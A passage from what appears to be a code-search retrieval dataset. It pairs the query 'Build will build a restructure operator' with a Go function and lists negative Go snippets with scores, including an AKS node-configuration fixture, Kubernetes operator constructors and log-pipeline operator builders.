\\\"https://acs-mirror.azureedge.net/cni/cni-plugins-amd64-v0.7.6.tgz\\\",\\n\\t\\t\\t\\tVnetCNILinuxPluginsDownloadURL: \\\"https://acs-mirror.azureedge.net/azure-cni/v1.1.3/binaries/azure-vnet-cni-linux-amd64-v1.1.3.tgz\\\",\\n\\t\\t\\t\\tVnetCNIWindowsPluginsDownloadURL: \\\"https://acs-mirror.azureedge.net/azure-cni/v1.1.3/binaries/azure-vnet-cni-singletenancy-windows-amd64-v1.1.3.zip\\\",\\n\\t\\t\\t\\tContainerdDownloadURLBase: \\\"https://storage.googleapis.com/cri-containerd-release/\\\",\\n\\t\\t\\t\\tCSIProxyDownloadURL: \\\"https://acs-mirror.azureedge.net/csi-proxy/v0.1.0/binaries/csi-proxy.tar.gz\\\",\\n\\t\\t\\t\\tWindowsProvisioningScriptsPackageURL: \\\"https://acs-mirror.azureedge.net/aks-engine/windows/provisioning/signedscripts-v0.2.2.zip\\\",\\n\\t\\t\\t\\tWindowsPauseImageURL: \\\"mcr.microsoft.com/oss/kubernetes/pause:1.4.0\\\",\\n\\t\\t\\t\\tAlwaysPullWindowsPauseImage: false,\\n\\t\\t\\t\\tCseScriptsPackageURL: \\\"https://acs-mirror.azureedge.net/aks/windows/cse/csescripts-v0.0.1.zip\\\",\\n\\t\\t\\t\\tCNIARM64PluginsDownloadURL: \\\"https://acs-mirror.azureedge.net/cni-plugins/v0.8.7/binaries/cni-plugins-linux-arm64-v0.8.7.tgz\\\",\\n\\t\\t\\t\\tVnetCNIARM64LinuxPluginsDownloadURL: \\\"https://acs-mirror.azureedge.net/azure-cni/v1.4.13/binaries/azure-vnet-cni-linux-arm64-v1.4.14.tgz\\\",\\n\\t\\t\\t},\\n\\t\\t\\tEndpointConfig: datamodel.AzureEndpointConfig{\\n\\t\\t\\t\\tResourceManagerVMDNSSuffix: \\\"cloudapp.azure.com\\\",\\n\\t\\t\\t},\\n\\t\\t\\tOSImageConfig: map[datamodel.Distro]datamodel.AzureOSImageConfig(nil),\\n\\t\\t},\\n\\t\\tK8sComponents: &datamodel.K8sComponents{\\n\\t\\t\\tPodInfraContainerImageURL: \\\"mcr.microsoft.com/oss/kubernetes/pause:3.6\\\",\\n\\t\\t\\tHyperkubeImageURL: \\\"mcr.microsoft.com/oss/kubernetes/\\\",\\n\\t\\t\\tWindowsPackageURL: \\\"windowspackage\\\",\\n\\t\\t},\\n\\t\\tAgentPoolProfile: &datamodel.AgentPoolProfile{\\n\\t\\t\\tName: \\\"nodepool2\\\",\\n\\t\\t\\tVMSize: \\\"Standard_DS1_v2\\\",\\n\\t\\t\\tKubeletDiskType: \\\"\\\",\\n\\t\\t\\tWorkloadRuntime: \\\"\\\",\\n\\t\\t\\tDNSPrefix: \\\"\\\",\\n\\t\\t\\tOSType: \\\"Linux\\\",\\n\\t\\t\\tPorts: nil,\\n\\t\\t\\tAvailabilityProfile: \\\"VirtualMachineScaleSets\\\",\\n\\t\\t\\tStorageProfile: \\\"ManagedDisks\\\",\\n\\t\\t\\tVnetSubnetID: \\\"\\\",\\n\\t\\t\\tDistro: \\\"aks-ubuntu-containerd-18.04-gen2\\\",\\n\\t\\t\\tCustomNodeLabels: map[string]string{\\n\\t\\t\\t\\t\\\"kubernetes.azure.com/mode\\\": \\\"system\\\",\\n\\t\\t\\t\\t\\\"kubernetes.azure.com/node-image-version\\\": \\\"AKSUbuntu-1804gen2containerd-2022.01.19\\\",\\n\\t\\t\\t},\\n\\t\\t\\tPreprovisionExtension: nil,\\n\\t\\t\\tKubernetesConfig: &datamodel.KubernetesConfig{\\n\\t\\t\\t\\tKubernetesImageBase: \\\"\\\",\\n\\t\\t\\t\\tMCRKubernetesImageBase: \\\"\\\",\\n\\t\\t\\t\\tClusterSubnet: \\\"\\\",\\n\\t\\t\\t\\tNetworkPolicy: \\\"\\\",\\n\\t\\t\\t\\tNetworkPlugin: \\\"\\\",\\n\\t\\t\\t\\tNetworkMode: \\\"\\\",\\n\\t\\t\\t\\tContainerRuntime: \\\"containerd\\\",\\n\\t\\t\\t\\tMaxPods: 0,\\n\\t\\t\\t\\tDockerBridgeSubnet: \\\"\\\",\\n\\t\\t\\t\\tDNSServiceIP: \\\"\\\",\\n\\t\\t\\t\\tServiceCIDR: \\\"\\\",\\n\\t\\t\\t\\tUseManagedIdentity: false,\\n\\t\\t\\t\\tUserAssignedID: \\\"\\\",\\n\\t\\t\\t\\tUserAssignedClientID: \\\"\\\",\\n\\t\\t\\t\\tCustomHyperkubeImage: \\\"\\\",\\n\\t\\t\\t\\tCustomKubeProxyImage: \\\"\\\",\\n\\t\\t\\t\\tCustomKubeBinaryURL: \\\"\\\",\\n\\t\\t\\t\\tMobyVersion: \\\"\\\",\\n\\t\\t\\t\\tContainerdVersion: \\\"\\\",\\n\\t\\t\\t\\tWindowsNodeBinariesURL: \\\"\\\",\\n\\t\\t\\t\\tWindowsContainerdURL: \\\"\\\",\\n\\t\\t\\t\\tWindowsSdnPluginURL: \\\"\\\",\\n\\t\\t\\t\\tUseInstanceMetadata: nil,\\n\\t\\t\\t\\tEnableRbac: nil,\\n\\t\\t\\t\\tEnableSecureKubelet: nil,\\n\\t\\t\\t\\tPrivateCluster: nil,\\n\\t\\t\\t\\tGCHighThreshold: 0,\\n\\t\\t\\t\\tGCLowThreshold: 0,\\n\\t\\t\\t\\tEnableEncryptionWithExternalKms: nil,\\n\\t\\t\\t\\tAddons: nil,\\n\\t\\t\\t\\tContainerRuntimeConfig: map[string]string(nil),\\n\\t\\t\\t\\tControllerManagerConfig: map[string]string(nil),\\n\\t\\t\\t\\tSchedulerConfig: map[string]string(nil),\\n\\t\\t\\t\\tCloudProviderBackoffMode: \\\"\\\",\\n\\t\\t\\t\\tCloudProviderBackoff: nil,\\n\\t\\t\\t\\tCloudProviderBackoffRetries: 0,\\n\\t\\t\\t\\tCloudProviderBackoffJitter: 0.0,\\n\\t\\t\\t\\tCloudProviderBackoffDuration: 0,\\n\\t\\t\\t\\tCloudProviderBackoffExponent: 0.0,\\n\\t\\t\\t\\tCloudProviderRateLimit: nil,\\n\\t\\t\\t\\tCloudProviderRateLimitQPS: 0.0,\\n\\t\\t\\t\\tCloudProviderRateLimitQPSWrite: 0.0,\\n\\t\\t\\t\\tCloudProviderRateLimitBucket: 0,\\n\\t\\t\\t\\tCloudProviderRateLimitBucketWrite: 0,\\n\\t\\t\\t\\tCloudProviderDisableOutboundSNAT: nil,\\n\\t\\t\\t\\tNodeStatusUpdateFrequency: \\\"\\\",\\n\\t\\t\\t\\tLoadBalancerSku: \\\"\\\",\\n\\t\\t\\t\\tExcludeMasterFromStandardLB: nil,\\n\\t\\t\\t\\tAzureCNIURLLinux: \\\"\\\",\\n\\t\\t\\t\\tAzureCNIURLARM64Linux: \\\"\\\",\\n\\t\\t\\t\\tAzureCNIURLWindows: \\\"\\\",\\n\\t\\t\\t\\tMaximumLoadBalancerRuleCount: 0,\\n\\t\\t\\t\\tPrivateAzureRegistryServer: \\\"\\\",\\n\\t\\t\\t\\tNetworkPluginMode: \\\"\\\",\\n\\t\\t\\t},\\n\\t\\t\\tVnetCidrs: nil,\\n\\t\\t\\tWindowsNameVersion: \\\"\\\",\\n\\t\\t\\tCustomKubeletConfig: nil,\\n\\t\\t\\tCustomLinuxOSConfig: nil,\\n\\t\\t\\tMessageOfTheDay: \\\"\\\",\\n\\t\\t\\tNotRebootWindowsNode: nil,\\n\\t\\t\\tAgentPoolWindowsProfile: nil,\\n\\t\\t},\\n\\t\\tTenantID: \\\"\\\",\\n\\t\\tSubscriptionID: \\\"\\\",\\n\\t\\tResourceGroupName: \\\"\\\",\\n\\t\\tUserAssignedIdentityClientID: \\\"\\\",\\n\\t\\tOSSKU: \\\"\\\",\\n\\t\\tConfigGPUDriverIfNeeded: true,\\n\\t\\tDisable1804SystemdResolved: false,\\n\\t\\tEnableGPUDevicePluginIfNeeded: false,\\n\\t\\tEnableKubeletConfigFile: false,\\n\\t\\tEnableNvidia: false,\\n\\t\\tEnableACRTeleportPlugin: false,\\n\\t\\tTeleportdPluginURL: \\\"\\\",\\n\\t\\tContainerdVersion: \\\"\\\",\\n\\t\\tRuncVersion: \\\"\\\",\\n\\t\\tContainerdPackageURL: \\\"\\\",\\n\\t\\tRuncPackageURL: \\\"\\\",\\n\\t\\tKubeletClientTLSBootstrapToken: nil,\\n\\t\\tFIPSEnabled: false,\\n\\t\\tHTTPProxyConfig: &datamodel.HTTPProxyConfig{\\n\\t\\t\\tHTTPProxy: nil,\\n\\t\\t\\tHTTPSProxy: nil,\\n\\t\\t\\tNoProxy: &[]string{\\n\\t\\t\\t\\t\\\"localhost\\\",\\n\\t\\t\\t\\t\\\"127.0.0.1\\\",\\n\\t\\t\\t\\t\\\"168.63.129.16\\\",\\n\\t\\t\\t\\t\\\"169.254.169.254\\\",\\n\\t\\t\\t\\t\\\"10.0.0.0/16\\\",\\n\\t\\t\\t\\t\\\"agentbaker-agentbaker-e2e-t-8ecadf-c82d8251.hcp.eastus.azmk8s.io\\\",\\n\\t\\t\\t},\\n\\t\\t\\tTrustedCA: nil,\\n\\t\\t},\\n\\t\\tKubeletConfig: map[string]string{\\n\\t\\t\\t\\\"--address\\\": \\\"0.0.0.0\\\",\\n\\t\\t\\t\\\"--anonymous-auth\\\": \\\"false\\\",\\n\\t\\t\\t\\\"--authentication-token-webhook\\\": \\\"true\\\",\\n\\t\\t\\t\\\"--authorization-mode\\\": \\\"Webhook\\\",\\n\\t\\t\\t\\\"--azure-container-registry-config\\\": \\\"/etc/kubernetes/azure.json\\\",\\n\\t\\t\\t\\\"--cgroups-per-qos\\\": \\\"true\\\",\\n\\t\\t\\t\\\"--client-ca-file\\\": \\\"/etc/kubernetes/certs/ca.crt\\\",\\n\\t\\t\\t\\\"--cloud-config\\\": \\\"/etc/kubernetes/azure.json\\\",\\n\\t\\t\\t\\\"--cloud-provider\\\": \\\"azure\\\",\\n\\t\\t\\t\\\"--cluster-dns\\\": \\\"10.0.0.10\\\",\\n\\t\\t\\t\\\"--cluster-domain\\\": \\\"cluster.local\\\",\\n\\t\\t\\t\\\"--dynamic-config-dir\\\": \\\"/var/lib/kubelet\\\",\\n\\t\\t\\t\\\"--enforce-node-allocatable\\\": \\\"pods\\\",\\n\\t\\t\\t\\\"--event-qps\\\": \\\"0\\\",\\n\\t\\t\\t\\\"--eviction-hard\\\": \\\"memory.available<750Mi,nodefs.available<10%,nodefs.inodesFree<5%\\\",\\n\\t\\t\\t\\\"--feature-gates\\\": \\\"RotateKubeletServerCertificate=true\\\",\\n\\t\\t\\t\\\"--image-gc-high-threshold\\\": \\\"85\\\",\\n\\t\\t\\t\\\"--image-gc-low-threshold\\\": \\\"80\\\",\\n\\t\\t\\t\\\"--keep-terminated-pod-volumes\\\": \\\"false\\\",\\n\\t\\t\\t\\\"--kube-reserved\\\": \\\"cpu=100m,memory=1638Mi\\\",\\n\\t\\t\\t\\\"--kubeconfig\\\": \\\"/var/lib/kubelet/kubeconfig\\\",\\n\\t\\t\\t\\\"--max-pods\\\": \\\"110\\\",\\n\\t\\t\\t\\\"--network-plugin\\\": \\\"kubenet\\\",\\n\\t\\t\\t\\\"--node-status-update-frequency\\\": \\\"10s\\\",\\n\\t\\t\\t\\\"--pod-infra-container-image\\\": \\\"mcr.microsoft.com/oss/kubernetes/pause:3.6\\\",\\n\\t\\t\\t\\\"--pod-manifest-path\\\": \\\"/etc/kubernetes/manifests\\\",\\n\\t\\t\\t\\\"--pod-max-pids\\\": \\\"-1\\\",\\n\\t\\t\\t\\\"--protect-kernel-defaults\\\": \\\"true\\\",\\n\\t\\t\\t\\\"--read-only-port\\\": \\\"0\\\",\\n\\t\\t\\t\\\"--resolv-conf\\\": \\\"/run/systemd/resolve/resolv.conf\\\",\\n\\t\\t\\t\\\"--rotate-certificates\\\": \\\"false\\\",\\n\\t\\t\\t\\\"--streaming-connection-idle-timeout\\\": \\\"4h\\\",\\n\\t\\t\\t\\\"--tls-cert-file\\\": \\\"/etc/kubernetes/certs/kubeletserver.crt\\\",\\n\\t\\t\\t\\\"--tls-cipher-suites\\\": \\\"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,TLS_RSA_WITH_AES_256_GCM_SHA384,TLS_RSA_WITH_AES_128_GCM_SHA256\\\",\\n\\t\\t\\t\\\"--tls-private-key-file\\\": \\\"/etc/kubernetes/certs/kubeletserver.key\\\",\\n\\t\\t},\\n\\t\\tKubeproxyConfig: map[string]string(nil),\\n\\t\\tEnableRuncShimV2: false,\\n\\t\\tGPUInstanceProfile: \\\"\\\",\\n\\t\\tPrimaryScaleSetName: \\\"\\\",\\n\\t\\tSIGConfig: datamodel.SIGConfig{\\n\\t\\t\\tTenantID: \\\"tenantID\\\",\\n\\t\\t\\tSubscriptionID: \\\"subID\\\",\\n\\t\\t\\tGalleries: map[string]datamodel.SIGGalleryConfig{\\n\\t\\t\\t\\t\\\"AKSUbuntu\\\": {\\n\\t\\t\\t\\t\\tGalleryName: \\\"aksubuntu\\\",\\n\\t\\t\\t\\t\\tResourceGroup: \\\"resourcegroup\\\",\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\\"AKSCBLMariner\\\": {\\n\\t\\t\\t\\t\\tGalleryName: \\\"akscblmariner\\\",\\n\\t\\t\\t\\t\\tResourceGroup: \\\"resourcegroup\\\",\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\\"AKSWindows\\\": {\\n\\t\\t\\t\\t\\tGalleryName: \\\"AKSWindows\\\",\\n\\t\\t\\t\\t\\tResourceGroup: \\\"AKS-Windows\\\",\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\\"AKSUbuntuEdgeZone\\\": {\\n\\t\\t\\t\\t\\tGalleryName: \\\"AKSUbuntuEdgeZone\\\",\\n\\t\\t\\t\\t\\tResourceGroup: \\\"AKS-Ubuntu-EdgeZone\\\",\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\tIsARM64: false,\\n\\t\\tCustomCATrustConfig: nil,\\n\\t\\tDisableUnattendedUpgrades: true,\\n\\t\\tSSHStatus: 0,\\n\\t\\tDisableCustomData: false,\\n\\t}\\n}\",\n \"func newReconciler(mgr manager.Manager) reconcile.Reconciler {\\n\\tgceNew, err := gce.New(\\\"\\\")\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\treturn &ReconcileTargetPool{\\n\\t\\tclient: mgr.GetClient(),\\n\\t\\tscheme: mgr.GetScheme(),\\n\\t\\tgce: gceNew,\\n\\t\\treconcileResult: reconcile.Result{\\n\\t\\t\\tRequeueAfter: time.Duration(5 * time.Second),\\n\\t\\t},\\n\\t\\tk8sObject: &computev1.TargetPool{},\\n\\t}\\n}\",\n \"func New(rc *Config) *Reloader {\\n\\treturn &Reloader{\\n\\t\\tconfigFile: rc.ConfigFile,\\n\\t\\treloadURL: rc.ReloadURL,\\n\\t\\twatchInterval: rc.WatchInterval,\\n\\t}\\n}\",\n \"func New(\\n\\tnamespace, name, imagesFile string,\\n\\tmcpInformer mcfginformersv1.MachineConfigPoolInformer,\\n\\tmcInformer mcfginformersv1.MachineConfigInformer,\\n\\tcontrollerConfigInformer mcfginformersv1.ControllerConfigInformer,\\n\\tserviceAccountInfomer coreinformersv1.ServiceAccountInformer,\\n\\tcrdInformer apiextinformersv1.CustomResourceDefinitionInformer,\\n\\tdeployInformer appsinformersv1.DeploymentInformer,\\n\\tdaemonsetInformer appsinformersv1.DaemonSetInformer,\\n\\tclusterRoleInformer rbacinformersv1.ClusterRoleInformer,\\n\\tclusterRoleBindingInformer rbacinformersv1.ClusterRoleBindingInformer,\\n\\tmcoCmInformer,\\n\\tclusterCmInfomer coreinformersv1.ConfigMapInformer,\\n\\tinfraInformer configinformersv1.InfrastructureInformer,\\n\\tnetworkInformer configinformersv1.NetworkInformer,\\n\\tproxyInformer configinformersv1.ProxyInformer,\\n\\tdnsInformer configinformersv1.DNSInformer,\\n\\tclient mcfgclientset.Interface,\\n\\tkubeClient kubernetes.Interface,\\n\\tapiExtClient apiextclientset.Interface,\\n\\tconfigClient configclientset.Interface,\\n\\toseKubeAPIInformer coreinformersv1.ConfigMapInformer,\\n\\tnodeInformer coreinformersv1.NodeInformer,\\n\\tmaoSecretInformer coreinformersv1.SecretInformer,\\n\\timgInformer configinformersv1.ImageInformer,\\n) *Operator {\\n\\teventBroadcaster := record.NewBroadcaster()\\n\\teventBroadcaster.StartLogging(klog.Infof)\\n\\teventBroadcaster.StartRecordingToSink(&coreclientsetv1.EventSinkImpl{Interface: kubeClient.CoreV1().Events(\\\"\\\")})\\n\\n\\toptr := &Operator{\\n\\t\\tnamespace: namespace,\\n\\t\\tname: name,\\n\\t\\timagesFile: imagesFile,\\n\\t\\tvStore: newVersionStore(),\\n\\t\\tclient: client,\\n\\t\\tkubeClient: kubeClient,\\n\\t\\tapiExtClient: apiExtClient,\\n\\t\\tconfigClient: configClient,\\n\\t\\teventRecorder: ctrlcommon.NamespacedEventRecorder(eventBroadcaster.NewRecorder(scheme.Scheme, corev1.EventSource{Component: \\\"machineconfigoperator\\\"})),\\n\\t\\tlibgoRecorder: events.NewRecorder(kubeClient.CoreV1().Events(ctrlcommon.MCONamespace), \\\"machine-config-operator\\\", &corev1.ObjectReference{\\n\\t\\t\\tKind: \\\"Deployment\\\",\\n\\t\\t\\tName: \\\"machine-config-operator\\\",\\n\\t\\t\\tNamespace: ctrlcommon.MCONamespace,\\n\\t\\t\\tAPIVersion: \\\"apps/v1\\\",\\n\\t\\t}),\\n\\t\\tqueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), \\\"machineconfigoperator\\\"),\\n\\t}\\n\\n\\tfor _, i := range []cache.SharedIndexInformer{\\n\\t\\tcontrollerConfigInformer.Informer(),\\n\\t\\tserviceAccountInfomer.Informer(),\\n\\t\\tcrdInformer.Informer(),\\n\\t\\tdeployInformer.Informer(),\\n\\t\\tdaemonsetInformer.Informer(),\\n\\t\\tclusterRoleInformer.Informer(),\\n\\t\\tclusterRoleBindingInformer.Informer(),\\n\\t\\tmcoCmInformer.Informer(),\\n\\t\\tclusterCmInfomer.Informer(),\\n\\t\\tinfraInformer.Informer(),\\n\\t\\tnetworkInformer.Informer(),\\n\\t\\tmcpInformer.Informer(),\\n\\t\\tproxyInformer.Informer(),\\n\\t\\toseKubeAPIInformer.Informer(),\\n\\t\\tnodeInformer.Informer(),\\n\\t\\tdnsInformer.Informer(),\\n\\t\\tmaoSecretInformer.Informer(),\\n\\t} {\\n\\t\\ti.AddEventHandler(optr.eventHandler())\\n\\t}\\n\\n\\toptr.syncHandler = optr.sync\\n\\n\\toptr.imgLister = imgInformer.Lister()\\n\\toptr.clusterCmLister = clusterCmInfomer.Lister()\\n\\toptr.clusterCmListerSynced = clusterCmInfomer.Informer().HasSynced\\n\\toptr.mcpLister = mcpInformer.Lister()\\n\\toptr.mcpListerSynced = mcpInformer.Informer().HasSynced\\n\\toptr.ccLister = controllerConfigInformer.Lister()\\n\\toptr.ccListerSynced = controllerConfigInformer.Informer().HasSynced\\n\\toptr.mcLister = mcInformer.Lister()\\n\\toptr.mcListerSynced = mcInformer.Informer().HasSynced\\n\\toptr.proxyLister = proxyInformer.Lister()\\n\\toptr.proxyListerSynced = proxyInformer.Informer().HasSynced\\n\\toptr.oseKubeAPILister = oseKubeAPIInformer.Lister()\\n\\toptr.oseKubeAPIListerSynced = oseKubeAPIInformer.Informer().HasSynced\\n\\toptr.nodeLister = nodeInformer.Lister()\\n\\toptr.nodeListerSynced = nodeInformer.Informer().HasSynced\\n\\n\\toptr.imgListerSynced = imgInformer.Informer().HasSynced\\n\\toptr.maoSecretInformerSynced = maoSecretInformer.Informer().HasSynced\\n\\toptr.serviceAccountInformerSynced = serviceAccountInfomer.Informer().HasSynced\\n\\toptr.clusterRoleInformerSynced = clusterRoleInformer.Informer().HasSynced\\n\\toptr.clusterRoleBindingInformerSynced = clusterRoleBindingInformer.Informer().HasSynced\\n\\toptr.mcoCmLister = mcoCmInformer.Lister()\\n\\toptr.mcoCmListerSynced = mcoCmInformer.Informer().HasSynced\\n\\toptr.crdLister = crdInformer.Lister()\\n\\toptr.crdListerSynced = crdInformer.Informer().HasSynced\\n\\toptr.deployLister = deployInformer.Lister()\\n\\toptr.deployListerSynced = deployInformer.Informer().HasSynced\\n\\toptr.daemonsetLister = daemonsetInformer.Lister()\\n\\toptr.daemonsetListerSynced = daemonsetInformer.Informer().HasSynced\\n\\toptr.infraLister = infraInformer.Lister()\\n\\toptr.infraListerSynced = infraInformer.Informer().HasSynced\\n\\toptr.networkLister = networkInformer.Lister()\\n\\toptr.networkListerSynced = networkInformer.Informer().HasSynced\\n\\toptr.dnsLister = dnsInformer.Lister()\\n\\toptr.dnsListerSynced = dnsInformer.Informer().HasSynced\\n\\n\\toptr.vStore.Set(\\\"operator\\\", version.ReleaseVersion)\\n\\n\\treturn optr\\n}\",\n \"func newOptions() (*Options, error) {\\n\\to := &Options{\\n\\t\\tconfig: new(componentconfig.CoordinatorConfiguration),\\n\\t}\\n\\treturn o, nil\\n}\",\n \"func configDefault(config ...Config) Config {\\n\\t// Return default config if nothing provided\\n\\tif len(config) < 1 {\\n\\t\\treturn ConfigDefault\\n\\t}\\n\\n\\t// Override default config\\n\\tcfg := config[0]\\n\\n\\t// Set default values\\n\\n\\tif cfg.Next == nil {\\n\\t\\tcfg.Next = ConfigDefault.Next\\n\\t}\\n\\n\\tif cfg.Lifetime.Nanoseconds() == 0 {\\n\\t\\tcfg.Lifetime = ConfigDefault.Lifetime\\n\\t}\\n\\n\\tif cfg.KeyHeader == \\\"\\\" {\\n\\t\\tcfg.KeyHeader = ConfigDefault.KeyHeader\\n\\t}\\n\\tif cfg.KeyHeaderValidate == nil {\\n\\t\\tcfg.KeyHeaderValidate = ConfigDefault.KeyHeaderValidate\\n\\t}\\n\\n\\tif cfg.KeepResponseHeaders != nil && len(cfg.KeepResponseHeaders) == 0 {\\n\\t\\tcfg.KeepResponseHeaders = ConfigDefault.KeepResponseHeaders\\n\\t}\\n\\n\\tif cfg.Lock == nil {\\n\\t\\tcfg.Lock = NewMemoryLock()\\n\\t}\\n\\n\\tif cfg.Storage == nil {\\n\\t\\tcfg.Storage = memory.New(memory.Config{\\n\\t\\t\\tGCInterval: cfg.Lifetime / 2, // Half the lifetime interval\\n\\t\\t})\\n\\t}\\n\\n\\treturn cfg\\n}\",\n \"func NewOperator(clusterClient kubernetes.Interface, client k8s.Interface, wfr interface{}, namespace string) (Operator, error) {\\n\\tif w, ok := wfr.(string); ok {\\n\\t\\treturn newFromName(clusterClient, client, w, namespace)\\n\\t}\\n\\n\\tif w, ok := wfr.(*v1alpha1.WorkflowRun); ok {\\n\\t\\treturn newFromValue(clusterClient, client, w, namespace)\\n\\t}\\n\\n\\treturn nil, fmt.Errorf(\\\"invalid parameter 'wfr' provided: %v\\\", wfr)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.542078","0.521859","0.5059564","0.50485116","0.5046536","0.48944262","0.46709874","0.4626035","0.46195325","0.46043593","0.45767885","0.45460016","0.45334616","0.44856468","0.4463061","0.44497538","0.4429227","0.44270936","0.44219068","0.44202003","0.43951303","0.4360074","0.43436486","0.43266284","0.43198687","0.43129638","0.43006375","0.4285201","0.42843103","0.42779455","0.4274677","0.42722002","0.4251277","0.42397672","0.42350718","0.42270517","0.42248312","0.421865","0.42098767","0.42035168","0.42004856","0.42000377","0.41937408","0.41918355","0.41898802","0.41867366","0.41842532","0.41767654","0.4175349","0.4169499","0.41660705","0.41660705","0.41597608","0.4159703","0.41577712","0.41458362","0.41339505","0.4131531","0.4127023","0.41179","0.41072813","0.41005552","0.40972644","0.4095325","0.40947014","0.40925673","0.40919012","0.40908042","0.4081517","0.40782136","0.40773952","0.40767834","0.40713948","0.4065724","0.4063234","0.40609697","0.40585265","0.40585265","0.40585265","0.40585265","0.40569127","0.40555552","0.40533665","0.40512314","0.40500548","0.40493774","0.40463307","0.4043102","0.4039174","0.40388566","0.40384883","0.40384433","0.4036578","0.4030778","0.4025792","0.40245274","0.40237507","0.40225518","0.40195596","0.4018482"],"string":"[\n \"0.542078\",\n \"0.521859\",\n \"0.5059564\",\n \"0.50485116\",\n \"0.5046536\",\n \"0.48944262\",\n \"0.46709874\",\n \"0.4626035\",\n \"0.46195325\",\n \"0.46043593\",\n \"0.45767885\",\n \"0.45460016\",\n \"0.45334616\",\n \"0.44856468\",\n \"0.4463061\",\n \"0.44497538\",\n \"0.4429227\",\n \"0.44270936\",\n \"0.44219068\",\n \"0.44202003\",\n \"0.43951303\",\n \"0.4360074\",\n \"0.43436486\",\n \"0.43266284\",\n \"0.43198687\",\n \"0.43129638\",\n \"0.43006375\",\n \"0.4285201\",\n \"0.42843103\",\n \"0.42779455\",\n \"0.4274677\",\n \"0.42722002\",\n \"0.4251277\",\n \"0.42397672\",\n \"0.42350718\",\n \"0.42270517\",\n \"0.42248312\",\n \"0.421865\",\n \"0.42098767\",\n \"0.42035168\",\n \"0.42004856\",\n \"0.42000377\",\n \"0.41937408\",\n \"0.41918355\",\n \"0.41898802\",\n \"0.41867366\",\n \"0.41842532\",\n \"0.41767654\",\n \"0.4175349\",\n \"0.4169499\",\n \"0.41660705\",\n \"0.41660705\",\n \"0.41597608\",\n \"0.4159703\",\n \"0.41577712\",\n \"0.41458362\",\n \"0.41339505\",\n \"0.4131531\",\n \"0.4127023\",\n \"0.41179\",\n \"0.41072813\",\n \"0.41005552\",\n \"0.40972644\",\n \"0.4095325\",\n \"0.40947014\",\n \"0.40925673\",\n \"0.40919012\",\n \"0.40908042\",\n \"0.4081517\",\n \"0.40782136\",\n \"0.40773952\",\n \"0.40767834\",\n \"0.40713948\",\n \"0.4065724\",\n \"0.4063234\",\n \"0.40609697\",\n \"0.40585265\",\n \"0.40585265\",\n \"0.40585265\",\n \"0.40585265\",\n \"0.40569127\",\n \"0.40555552\",\n \"0.40533665\",\n \"0.40512314\",\n \"0.40500548\",\n \"0.40493774\",\n \"0.40463307\",\n \"0.4043102\",\n \"0.4039174\",\n \"0.40388566\",\n \"0.40384883\",\n \"0.40384433\",\n \"0.4036578\",\n \"0.4030778\",\n \"0.4025792\",\n \"0.40245274\",\n \"0.40237507\",\n \"0.40225518\",\n \"0.40195596\",\n \"0.4018482\"\n]"},"document_score":{"kind":"string","value":"0.7639705"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106159,"cells":{"query":{"kind":"string","value":"Build will build a restructure operator from the supplied configuration"},"document":{"kind":"string","value":"func (c RestructureOperatorConfig) Build(context operator.BuildContext) ([]operator.Operator, error) {\n\ttransformerOperator, err := c.TransformerConfig.Build(context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trestructureOperator := &RestructureOperator{\n\t\tTransformerOperator: transformerOperator,\n\t\tops: c.Ops,\n\t}\n\n\treturn []operator.Operator{restructureOperator}, nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (c Config) Build(logger *zap.SugaredLogger) (operator.Operator, error) {\n\tparserOperator, err := c.ParserConfig.Build(logger)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Parser{\n\t\tParserOperator: parserOperator,\n\t}, nil\n}","func (c TransformerConfig) Build(logger *zap.SugaredLogger) (TransformerOperator, error) {\n\twriterOperator, err := c.WriterConfig.Build(logger)\n\tif err != nil {\n\t\treturn TransformerOperator{}, errors.WithDetails(err, \"operator_id\", c.ID())\n\t}\n\n\tswitch c.OnError {\n\tcase SendOnError, DropOnError:\n\tdefault:\n\t\treturn TransformerOperator{}, errors.NewError(\n\t\t\t\"operator config has an invalid `on_error` field.\",\n\t\t\t\"ensure that the `on_error` field is set to either `send` or `drop`.\",\n\t\t\t\"on_error\", c.OnError,\n\t\t)\n\t}\n\n\ttransformerOperator := TransformerOperator{\n\t\tWriterOperator: writerOperator,\n\t\tOnError: c.OnError,\n\t}\n\n\tif c.IfExpr != \"\" {\n\t\tcompiled, err := ExprCompileBool(c.IfExpr)\n\t\tif err != nil {\n\t\t\treturn TransformerOperator{}, fmt.Errorf(\"failed to compile expression '%s': %w\", c.IfExpr, err)\n\t\t}\n\t\ttransformerOperator.IfExpr = compiled\n\t}\n\n\treturn transformerOperator, nil\n}","func (c *Config) Build(logger *zap.SugaredLogger) (operator.Operator, error) {\n\ttransformer, err := c.TransformerConfig.Build(logger)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to build transformer config: %w\", err)\n\t}\n\n\tif c.IsLastEntry != \"\" && c.IsFirstEntry != \"\" {\n\t\treturn nil, fmt.Errorf(\"only one of is_first_entry and is_last_entry can be set\")\n\t}\n\n\tif c.IsLastEntry == \"\" && c.IsFirstEntry == \"\" {\n\t\treturn nil, fmt.Errorf(\"one of is_first_entry and is_last_entry must be set\")\n\t}\n\n\tvar matchesFirst bool\n\tvar prog *vm.Program\n\tif c.IsFirstEntry != \"\" {\n\t\tmatchesFirst = true\n\t\tprog, err = helper.ExprCompileBool(c.IsFirstEntry)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to compile is_first_entry: %w\", 